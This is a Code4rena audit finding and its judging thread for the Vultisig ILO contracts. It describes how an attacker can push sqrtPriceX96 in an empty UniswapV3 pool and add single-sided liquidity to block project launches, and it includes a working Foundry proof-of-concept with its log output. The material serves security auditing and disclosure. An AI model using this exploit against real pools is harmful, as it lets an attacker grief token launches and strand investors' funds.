code-423n4 / 2024-06-vultisig-findings

2 stars 0 forks source link

Adversaries can manipulate sqrtPriceX96 in an empty UniswapV3 pool and use single-sided liquidity to block the project launches #184

Closed howlbot-integration[bot] closed 4 months ago

howlbot-integration[bot] commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-06-vultisig/blob/main/src/ILOManager.sol#L187-L198

Vulnerability details

Impact

Description

Project's admin specify an initial pool price when initiate a new project.
When all conditions in all pools are met, anyone can call launch function in ILOManager.sol to launch their ILO.

Inside launch function, there is a check that current pool's sqrtPriceX96 is equal to the initial pool price set during project initiation.
The check ensures that ILO launches at the project specified price.
See: ILOManager.sol#L187-L198

function launch(address uniV3PoolAddress) external override {
    require(block.timestamp > _cachedProject[uniV3PoolAddress].launchTime, "LT");
    (uint160 sqrtPriceX96, , , , , , ) = IUniswapV3Pool(uniV3PoolAddress).slot0();
    require(_cachedProject[uniV3PoolAddress].initialPoolPriceX96 == sqrtPriceX96, "UV3P"); // <-- current sqrtPriceX96 must stay the same
    address[] memory initializedPools = _initializedILOPools[uniV3PoolAddress];
    require(initializedPools.length > 0, "NP");
    for (uint256 i = 0; i < initializedPools.length; i++) {
        IILOPool(initializedPools[i]).launch();
    }

    emit ProjectLaunch(uniV3PoolAddress);
}

Manipulate sqrtPriceX96 of UniswapV3 pool

UniswapV3 pool stores sqrtPriceX96 in slot0. It is the current price corresponding with the current tick of the pool.
It changes when the swap operation cross the tick.

However, in an empty pool (liquidity=0), after pool's initialization with sqrtPriceX96, UniswapV3 pool behaves weirdly.
Calling swap function on the pool will not revert.
swap(address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data)
In turn, the pool will cross to the corresponding tick of the specified sqrtPriceLimitX96, requiring no tokens transfer.

Single-sided liquidity

Providing liquidity in Uniswap V3 pool outside of current price/tick requires only single token of the pair.
Reference: Single-sided Liquidity

Attack scenario

Let's say Project A wants to launch a new ILO for their new token, $NEW and pair it with $USDC. They proceed to init their project and various pools.
Supposed that the newly deployed UniswapV3 pool from initProject has token0=$USDC and token1=$NEW and they choose k as initial price, equals to tick=t_k.

Adversaries can manipulate sqrtPriceX96 (lower it down) to a value x; x < k, by calling swap function directly as mentioned in the previous section. Then, provide single-sided liquidity of token0 (USDC) by specifying the tick range just between the price x and k.

Then, when block.timestamp reaches launch time, pool's admin will not be able to call launch function because the current spot price is now different from the initial pool price.

Whether the launch is recoverable depends on certain factors:

Proof-of-Concept

The test below does the following:

pragma solidity =0.7.6; pragma abicoder v2;

import '../src/interfaces/IILOPool.sol'; import '../src/interfaces/IILOWhitelist.sol'; import '../src/interfaces/IILOVest.sol'; import "../src/ILOManager.sol"; import "../src/ILOPool.sol"; import "./IntegrationTestBase.sol"; import {IUniswapV3Pool} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; import {TickMath} from "@uniswap/v3-core/contracts/libraries/TickMath.sol";

contract UniswapCallback{

address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
constructor(){ }
function uniswapV3MintCallback(
    uint256 amount0Owed,
    uint256 amount1Owed,
    bytes calldata data
) external {
    address SALE_TOKEN = abi.decode(data, (address));
    if (amount0Owed > 0) IERC20(USDC).transfer(address(msg.sender), amount0Owed);
    if (amount1Owed > 0) IERC20(SALE_TOKEN).transfer(address(msg.sender), amount1Owed);
}

function uniswapV3SwapCallback(
    int256 amount0Owed,
    int256 amount1Owed,
    bytes calldata data
) external {
    address SALE_TOKEN = abi.decode(data, (address));
    if (amount0Owed > 0) IERC20(USDC).transfer(address(msg.sender), uint256(amount0Owed));
    if (amount1Owed > 0) IERC20(SALE_TOKEN).transfer(address(msg.sender), uint256(amount1Owed));
}

}

contract ILOPreventLaunchTest is Test {

struct Project {
    address saleToken;
    address raiseToken;
    uint24 fee;
    uint160 initialPoolPriceX96;
    uint64 launchTime;
}

address INVESTOR = makeAddr("investor");
address constant MANAGER_OWNER = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266; // anvil#1
address constant FEE_TAKER = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8; // anvil#2
address constant DEV_RECIPIENT = 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC; // anvil#3
address constant TREASURY_RECIPIENT = 0x90F79bf6EB2c4f870365E785982E1f101E93b906; // anvil#4
address constant LIQUIDITY_RECIPIENT = 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65; // anvil#5
address constant UNIV3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; // only for eth chain
address constant WETH9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // only for eth chain
address SALE_TOKEN; // token1
address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // token0
uint16 constant PLATFORM_FEE = 10; // 0.1%
uint16 constant PERFORMANCE_FEE = 1000; // 10%
int24 constant MIN_TICK_500 = -887270;

ILOManager iloManager;
address projectId;

function setUp() public {
    vm.selectFork(vm.createFork("https://ethereum.publicnode.com"));
    vm.startBroadcast(MANAGER_OWNER);
    ILOPool iloPoolImplementation = new ILOPool{
        salt: "salt_salt_salt"
    }();

    SALE_TOKEN = address(new ERC20{
        salt: "salt_salt_salt"
    }("SALE TOKEN", "SALE"));

    iloManager = new ILOManager{
        salt: "salt_salt_salt"
    }();

    iloManager.initialize(
        MANAGER_OWNER, 
        FEE_TAKER,
        address(iloPoolImplementation),
        UNIV3_FACTORY, 
        WETH9, 
        PLATFORM_FEE,
        PERFORMANCE_FEE
    );
    vm.stopBroadcast();
}

function uniswapV3MintCallback(
    uint256 amount0Owed,
    uint256 amount1Owed,
    bytes calldata data
) external {
    data;
    if (amount0Owed > 0) IERC20(USDC).transfer(address(msg.sender), amount0Owed);
    if (amount1Owed > 0) IERC20(SALE_TOKEN).transfer(address(msg.sender), amount1Owed);
}

function uniswapV3SwapCallback(
    int256 amount0Owed,
    int256 amount1Owed,
    bytes calldata data
) external {
    data;
    if (amount0Owed > 0) IERC20(USDC).transfer(address(msg.sender), uint256(amount0Owed));
    if (amount1Owed > 0) IERC20(SALE_TOKEN).transfer(address(msg.sender), uint256(amount1Owed));
}

function testPreventLaunch() public{
    uint start_block_timestamp = block.timestamp;
    // [1] initProject
    console2.log("@> Init project, initialPoolPriceX96=158456325028528675187087900672");
    projectId = iloManager.initProject(
        IILOManager.InitProjectParams({
            saleToken: SALE_TOKEN,
            raiseToken: USDC,
            fee: 500,
            initialPoolPriceX96: 158456325028528675187087900672, 
            launchTime: uint64(block.timestamp + 4*86400)
        })
    );
    console2.log("@> ProjectId (univ3pool): ", projectId);

    // [2] initPool
    console2.log("@> Init pool");
    address iloPool = iloManager.initILOPool(
        IILOManager.InitPoolParams({
            uniV3Pool: projectId,
            tickLower: MIN_TICK_500,
            tickUpper: -MIN_TICK_500,
            hardCap: 100_000 ether,
            softCap: 80_000 ether,
            maxCapPerUser: 100_000 ether,
            start: uint64(block.timestamp + 1*86400),
            end: uint64(block.timestamp + 3*86400),
            vestingConfigs: _getVestingConfigs()
    }));
    // [2.5] whitelist investor
    console2.log("@> Whitelist investor (%s)", INVESTOR);
    IILOWhitelist(iloPool).batchWhitelist(_getListAddressFromAddress(INVESTOR));

    // [3] buy
    console2.log("@> Simulate buy transaction buy INVESTOR");
    deal(USDC, INVESTOR, 80_000 ether);
    vm.warp(start_block_timestamp + 1*86400 + 1);
    vm.startPrank(INVESTOR);
    IERC20(USDC).approve(iloPool, type(uint).max);
    (uint tokenId,) = IILOPool(iloPool).buy(80_000 ether, INVESTOR);
    tokenId;
    vm.stopPrank();

    // [4] launch
    console2.log("@> Prepare launch");
    console2.log("@>> Put SALE_TOKEN in ILOPool and warp to launch time");
    uint totalSold = IILOPool(iloPool).totalSold();
    deal(SALE_TOKEN, iloPool, totalSold);
    vm.warp(start_block_timestamp + 4*86400 + 1);

    // ready to launch
    console2.log("@> Save snapshot before attack");
    uint snapshot = vm.snapshot();

    console2.log("@> Commence attack");
    (uint160 sqrtPriceX96, int24 tick, , , , , ) = IUniswapV3Pool(projectId).slot0();
    console2.log("@> Query pool slot0");
    console2.log("@>> slot0.sqrtPriceX96: %s", uint256(sqrtPriceX96));
    console2.log("@>> slot0.tick: %s", int256(tick));

    address ATTACKER = address(new UniswapCallback());
    vm.label(ATTACKER, "Attacker");
    vm.startPrank(ATTACKER);
    console2.log("@> Call swap to manipulate sqrtPriceX96");
    IUniswapV3Pool(projectId).swap(
        ATTACKER,
        true,
        type(int).max,
        TickMath.getSqrtRatioAtTick(-12_000),
        bytes(abi.encode(SALE_TOKEN))
    );

    deal(USDC, ATTACKER, 10_000e6);
    console2.log("@> Provide single-sided liquidity to complicate recovery");
    IUniswapV3Pool(projectId).mint(
        ATTACKER,
        13_700,
        13_800,
        10_000e6,
        bytes(abi.encode(SALE_TOKEN))
    );

    (sqrtPriceX96, tick, , , , , ) = IUniswapV3Pool(projectId).slot0();
    console2.log("@> Query pool slot0");
    console2.log("@>> slot0.sqrtPriceX96: %s", uint256(sqrtPriceX96));
    console2.log("@>> slot0.tick: %s", int256(tick));
    console2.log("@> Done attack");
    vm.stopPrank();

    console2.log("@> Project's admin try to call launch, expecting revert");
    vm.expectRevert(bytes("UV3P"));
    iloManager.launch(projectId);
    console2.log("@> Revert with 'UV3P'");

    console2.log("@> Project's admin try to recover launch");
    deal(SALE_TOKEN, address(this), 10_000e18);
    console2.log("@> SALE_TOKEN balnce of admin before: %e", IERC20(SALE_TOKEN).balanceOf(address(this)));
    console2.log("@> Call swap to manipulate sqrtPriceX96 back");
    IUniswapV3Pool(projectId).swap(
        address(this),
        false,
        type(int).max,
        158456325028528675187087900672,
        bytes("")
    );
    console2.log("@> SALE_TOKEN balnce of admin after: %e", IERC20(SALE_TOKEN).balanceOf(address(this)));
    (sqrtPriceX96, tick, , , , , ) = IUniswapV3Pool(projectId).slot0();
    console2.log("@> Query pool slot0");
    console2.log("@>> slot0.sqrtPriceX96: %s", uint256(sqrtPriceX96));
    console2.log("@>> slot0.tick: %s", int256(tick));
    console2.log("@> Project's admin try to launch again, should pass");
    iloManager.launch(projectId);

    console2.log("@> Recover vm state to before attack");
    vm.revertTo(snapshot);
    (sqrtPriceX96, tick, , , , , ) = IUniswapV3Pool(projectId).slot0();
    console2.log("@> Query pool slot0");
    console2.log("@>> slot0.sqrtPriceX96: %s", uint256(sqrtPriceX96));
    console2.log("@>> slot0.tick: %s", int256(tick));

    console2.log("@> Launch again, should pass");
    iloManager.launch(projectId);

}

function _getVestingConfigs() internal returns (IILOVest.VestingConfig[] memory vestingConfigs) {
    vestingConfigs = new IILOVest.VestingConfig[](4);
    vestingConfigs[0] = IILOVest.VestingConfig({
                shares: 2000, // 20%
                recipient: address(0),
                schedule: _getLinearVesting()
        });
    vestingConfigs[1] = IILOVest.VestingConfig({
                shares: 3000, // 30%
                recipient: TREASURY_RECIPIENT,
                schedule: _getLinearVesting()
        });
    vestingConfigs[2] = IILOVest.VestingConfig({
                shares: 2000, // 20%
                recipient: DEV_RECIPIENT,
                schedule: _getLinearVesting()
        });
    vestingConfigs[3] = IILOVest.VestingConfig({
                shares: 3000, // 30%
                recipient: LIQUIDITY_RECIPIENT,
                schedule: _getLinearVesting()
        });
}

function _getLinearVesting() internal returns (IILOVest.LinearVest[] memory linearVestConfigs) {
    linearVestConfigs = new IILOVest.LinearVest[](2);
    linearVestConfigs[0] = IILOVest.LinearVest({
                shares: 3000, // 30% 
                start: uint64(block.timestamp + 4*86400),
                end: uint64(block.timestamp + 5*86400)
    });
    linearVestConfigs[1] = IILOVest.LinearVest({
                shares: 7000, // 70% 
                start: uint64(block.timestamp + 6*86400),
                end: uint64(block.timestamp + 7*86400)
    });
}

function _getListAddressFromAddress(address addr) internal pure returns (address[] memory addresses) {
    addresses = new address[](1);
    addresses[0] = addr;
}

}

**Expected terminal result**

Running 1 test for test/ILOPool.man.t.sol:ILOPreventLaunchTest [PASS] testPreventLaunch() (gas: 9521713) Logs: @> Init project, initialPoolPriceX96=158456325028528675187087900672 @> ProjectId (univ3pool): 0x8005a9E9643F2e5E165c67a5162c5169C278B7b4 @> Init pool @> Whitelist investor (0x958A7E75e1a51269bd267D873357909d17623971) @> Simulate buy transaction buy INVESTOR @> Prepare launch @>> Put SALE_TOKEN in ILOPool and warp to launch time @> Save snapshot before attack @> Commence attack @> Query pool slot0 @>> slot0.sqrtPriceX96: 158456325028528675187087900672 @>> slot0.tick: 13863 @> Call swap to manipulate sqrtPriceX96 @> Provide single-sided liquidity to complicate recovery @> Query pool slot0 @>> slot0.sqrtPriceX96: 43482641866909686834497309393 @>> slot0.tick: -12000 @> Done attack @> Project's admin try to call launch, expecting revert @> Revert with 'UV3P' @> Project's admin try to recover launch @> SALE_TOKEN balnce of admin before: 1e22 @> Call swap to manipulate sqrtPriceX96 back @> SALE_TOKEN balnce of admin after: 9.999999999999900521672e21 @> Query pool slot0 @>> slot0.sqrtPriceX96: 158456325028528675187087900672 @>> slot0.tick: 13863 @> Project's admin try to launch again, should pass @> Recover vm state to before attack @> Query pool slot0 @>> slot0.sqrtPriceX96: 158456325028528675187087900672 @>> slot0.tick: 13863 @> Launch again, should pass

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.31s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)



## Rationale for severity  
- Once attack is done, pool's admin is forced to take an action.  
    - If the pool is recoverable
        - If they have enough `SALE_TOKEN`
            - They can sell token to the pool and launch **atomically**
            - They can sell token to the pool (effectively a counter-attack) and wait for refund period and launch a new token
        - If they don't have `SALE_TOKEN` or choose not to use it
            - They have to wait for refund period, and launch a new token because the previous UniswapV3 pool cannot reinitialize
    - If the pool is unrecoverable
        - They have to wait for refund period, and launch a new token because the previous UniswapV3 pool cannot reinitialize

Whichever path is possible for the pool's admin, it will complicate the launch for pool's admin and can delay the launch or force a relaunch of a new token.  
Adversaries don't gain profit from this attack, only griefing the pool's admin.  

Hence, the medium severity

## Recommended Mitigations
This maybe a design limit of the ILO using UniswapV3 pool. For an ERC20 with trading enable/disable functionality, this can be prevented by providing a small liquidity within the specified initial pool price, then enable trading for only owner, as a result, `sqrtPriceX96` will not be manipulatable.  

For a generic ERC20 token, I don't see any prevention mechanisms as of now to lock `sqrtPriceX96` in a pool with zero liquidity.  

## Assessed type

DoS
c4-judge commented 4 months ago

alex-ppg marked the issue as unsatisfactory: Invalid

nnez commented 4 months ago

Hey there @alex-ppg I'd like to invite you to reconsider this issue with sqrtPriceX96 manipulation again.

You disputed #65 and #53 with the reason that price manipulation is impossible because no one has SALE_TOKEN before launch. However, I've shown here in this finding (and also from another Warden, #41) that it is possible to manipulate sqrtPriceX96 in an empty pool. Adversaries do not have to hold any SALE_TOKEN to perform this attack.

0xJuancito commented 4 months ago

I'm the author of #41, and I agree with the comments of @nnez here. I invite the judge to also look at my issue for further insights.


I think these two issues have been invalidated due to the big amount of invalid/qa issues with dup-65.

Many of those issues make invalid claims, assuming that there will be liquidity in the pool.

Others just refer to modifying the sqrtPriceX96 before the launch, which is possible by "swapping" zero tokens when there is no liquidity, but this can be remediated by "swapping" back to the original price, and the pool will still launch successfully. I showcased this as a bonus on my unsuccessfulPriceManipulation() test. This could be considered (or not) qa as a separate issue.

As they don't get the actual root cause, their recommendations are also invalid.


The actual attack vector and root cause is only mentioned on this issue and on issue #41.

The root cause is the possibility to mint single-sided liquidity after performing the swap.

Swapping the token to alter the price is not sufficient, as it can easily be set back to its expected value as explained before and shown in my test.

By minting single-side liquidity, the price can get back to its expected value, satisfying sqrtPriceX96Existing == sqrtPriceX96, but the pool launch will still fail, as not enough liquidity can be minted due to the attack. This can't be remediated, and a new vesting offering will have to be created.

Both reports show POCs to prove it.


Regarding severity, I'd like to make a case for it being High. I explained the reasoning on the "Impact" section of my report.

The key points are that it can be done at any time by an attacker with almost no cost. It could be done just a minute before the expected pool launch, after raising capital from many investors during multiple days.

A failing launch under these circumstances will clearly have an impact on the appreciation of the token price for a future raise of investment, as this token launch will fail as explained in the reports. Additionally, users would have to spend gas on mainnet to recover their failed investment.

Also worth mentioning that not only the Vultisig coin launch would be affected, but also all other projects that intend to use the platform for raising capital.


That said, I'd like to ask to only consider these issues related to minting single-side liquidity on their own as High.

Other issues might be qa/invalid, depending on their claims, considering that just altering the sqrtPriceX96 before the launch can be easily remediated as shown on my POC on #41.

Haupc commented 4 months ago

hi @alex-ppg I agreed with comment above. Issue #65 and #53 is not actually show out the root cause and mintigation step are invalid. Issue #41 point out exactly issue and have a valid POC

c4-sponsor commented 4 months ago

@Haupc Sponsors are not allowed to close, reopen, or assign issues or pull requests.

alex-ppg commented 4 months ago

Thank you @nnez, @0xJuancito, and @Haupc for your PJQA contributions! This is indeed a case of a miscreated duplicate group that had an actual vulnerability described within it.

I have proceeded to separate this as a new issue in the repository given that #41 was deemed as the "primary" submission, #179 was deemed to be of a partial-75 reward, and #77 was deemed to be of a partial-25 reward.

c4-judge commented 4 months ago

alex-ppg marked the issue as not a duplicate

c4-judge commented 4 months ago

alex-ppg marked the issue as duplicate of #41

nnez commented 4 months ago

Hey @alex-ppg Thanks for looking into this. I'm just curious here though. Should the unsatistactory label be changed to sastisfactory?

c4-judge commented 4 months ago

alex-ppg marked the issue as satisfactory

c4-judge commented 4 months ago

alex-ppg changed the severity to 3 (High Risk)

alex-ppg commented 4 months ago

There are still some more cleanup grades to assign @nnez as I am waiting on 10 findings being migrated over from the findings repository, but thank you for the reminder!